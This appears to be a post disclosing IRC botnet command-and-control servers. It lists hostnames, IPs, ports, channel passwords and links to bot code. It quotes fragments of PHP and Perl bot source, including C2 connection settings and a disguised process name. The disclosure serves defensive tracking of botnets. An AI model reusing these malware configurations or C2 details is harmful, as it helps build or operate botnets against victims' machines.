Found by Yewnix <? set_time_limit(0); error_reporting(0); class Anxiety { var $config = array("server"=>"37.221.170.195", // Server IP Address "port"=>443, "pass"=>"", // Server Password "prefix"=>"[r00t]-", "maxrand"=>3, "chan"=>"#exploit", // Channel "key"=>"lolmoney", // Channel Key "modes"=>"+p", "password"=>"lolmoney", // Bot Password "trigger"=>".", "hostauth"=>"anxiety.gov" // * For Any Hostname //Leave all of this shit down here alone, unless you know whatRead more...
irc.edsel.us.to(PHP bots hosted in Canada Montreal Software AS32613 IWEB-AS – iWeb Technologies Inc)
my $fakeproc = “sh -c (ps -aux)2>&1”;my $ircserver = “irc.edsel.us.to”;my $ircport = “7221”;my $nickname = “i-escorts”;my $ident = “bogo”;my $channel = “#jurig”;my $admin = “SmitfraudFix”;my $fullname = “naon”; Full source here hosting infos: http://whois.domaintools.com/184.107.213.58
irc.unixon.net (PHP and perl botnets hosted by Poland Kalisz Static Ip)
Resolved irc.unixon.net to 211.60.155.5, 69.46.16.67, 76.74.236.70, 95.48.19.74, 88.208.211.135, 79.188.136.138, 83.17.0.148 PHP bot Server: irc.unixon.net Port: 7100 Channel: #dor Channel password: dor #dor 171 [+p] Bot code: http://pastebin.com/ZGa0MLAq Perl bot Server: irc.unixon.net Port: 7100 Channel: #bot #bot 101 [+smnt] Bot code: http://pastebin.com/scyHzVcS